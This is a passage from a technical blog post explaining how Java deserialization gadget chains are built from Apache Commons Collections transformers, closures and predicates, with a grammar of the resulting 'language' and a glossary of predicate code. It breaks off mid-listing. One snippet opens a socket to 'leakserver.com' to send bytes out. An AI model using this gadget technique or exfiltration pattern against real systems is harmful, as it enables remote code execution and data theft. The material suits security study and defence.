&lt;span class=&quot;nc&quot;&gt;Method&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iMethodName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iParamTypes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iArgs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Reflection call on the package local object fails, the method is not accessible. We could try to hack it with calling
&lt;code class=&quot;highlighter-rouge&quot;&gt;input.getMethod(&quot;waitFor).setAccessible(true)&lt;/code&gt; but then we would need to do &lt;code class=&quot;highlighter-rouge&quot;&gt;waitForMethod.invoke(process)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;object to call method on is the first argument of &lt;em&gt;invoke&lt;/em&gt; method. But as we mentioned in the point above, we cannot pass results as arguments
 in our gadgets.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;closures-and-predicates&quot;&gt;Closures and predicates&lt;/h3&gt;
&lt;p&gt;Using Closures and Predicates, we can do even more things and express complicated code paths.
So far we called a method on a previously returned result. At some point we may need to
call methods on the same object multiple times.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;OutputStream&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getConstructor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;TYPE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;leakserver.com&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getOutputStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x01&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x23&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x34&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As Closures accept input, process it and return the same input, we can use them for this. Note the result of Closure computation
is ignored. The key part here is &lt;a href=&quot;#ClosureTransformer&quot;&gt;ClosureTransformer&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;Constant&amp;gt;       -&amp;gt; Serializable (String, Integer, Long, File, Array, Class, ...)
&amp;lt;Int&amp;gt;            -&amp;gt; 0,1,2...
&amp;lt;Constant&amp;gt;       -&amp;gt; &amp;lt;Transformer&amp;gt;
&amp;lt;Transformer&amp;gt;    -&amp;gt; &amp;lt;Predicate&amp;gt;
&amp;lt;Transformer&amp;gt;    -&amp;gt; &amp;lt;Closure&amp;gt;
&amp;lt;Closure&amp;gt;        -&amp;gt; ;
&amp;lt;Closure&amp;gt;        -&amp;gt; &amp;lt;Closure&amp;gt; &amp;lt;Closure&amp;gt;
&amp;lt;Closure&amp;gt;        -&amp;gt; for(int i=0; i &amp;lt; &amp;lt;Int&amp;gt;; i++) { &amp;lt;Closure&amp;gt; }
&amp;lt;Closure&amp;gt;        -&amp;gt; while( &amp;lt;Predicate&amp;gt; ) { &amp;lt;Closure&amp;gt; }
&amp;lt;Closure&amp;gt;        -&amp;gt; do { &amp;lt;Closure&amp;gt; } while( &amp;lt;Predicate&amp;gt; )
&amp;lt;Closure&amp;gt;        -&amp;gt; if (&amp;lt;Predicate&amp;gt;) { &amp;lt;Closure&amp;gt; } else { &amp;lt;Closure&amp;gt; }
&amp;lt;Closure&amp;gt;        -&amp;gt; if (&amp;lt;Predicate&amp;gt;) { &amp;lt;Closure&amp;gt; } &amp;lt;Closure-Switch&amp;gt; else { &amp;lt;Closure&amp;gt; }
&amp;lt;Closure-Switch&amp;gt; -&amp;gt; else if (&amp;lt;Predicate&amp;gt;) { &amp;lt;Closure&amp;gt; } &amp;lt;Closure-Switch&amp;gt; | \eps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With closures we can express very simple branching and looping, it forms a simple language.
Key components here are the conversion classes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#TransformerClosure&quot;&gt;TransformerClosure&lt;/a&gt; : Wraps Transformer in Closure&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ClosureTransformer&quot;&gt;ClosureTransformer&lt;/a&gt; : Wraps Closure in Transformer&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#TransformerPredicate&quot;&gt;TransformerPredicate&lt;/a&gt; : Evaluates transformer, wraps in Predicate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Predicates can be easily combined together in an intuitive way (not, or, and, for all).&lt;/p&gt;

&lt;h2 id=&quot;conclusion-2&quot;&gt;Conclusion 2&lt;/h2&gt;
&lt;p&gt;That’s all for now on the gadget construction. If you happen to find another interesting gadget, 
leave us a note either on email or twitter, we will add it to the list.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

&lt;h2 id=&quot;glossary---how-it-works-from-the-inside&quot;&gt;Glossary - how it works from the inside&lt;/h2&gt;
&lt;p&gt;Here follows the list of usable tools we can use in gadget construction in Apache Commons exploits.
Only the core code is present for each one so one can quickly get the functionality of the component.&lt;/p&gt;

&lt;p&gt;Package for all predicates, closures and transformers is &lt;code class=&quot;highlighter-rouge&quot;&gt;org.apache.commons.collections.functors&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;predicate-glossary&quot;&gt;Predicate glossary&lt;/h2&gt;
&lt;p&gt;All predicates follow.&lt;/p&gt;

&lt;h3 id=&quot;TruePredicate&quot;&gt;TruePredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;FalsePredicate&quot;&gt;FalsePredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;NotPredicate&quot;&gt;NotPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;AndPredicate&quot;&gt;AndPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicate1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicate2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;OrPredicate&quot;&gt;OrPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicate1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicate2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;AllPredicate&quot;&gt;AllPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;AnyPredicate&quot;&gt;AnyPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;NonePredicate&quot;&gt;NonePredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;OnePredicate&quot;&gt;OnePredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
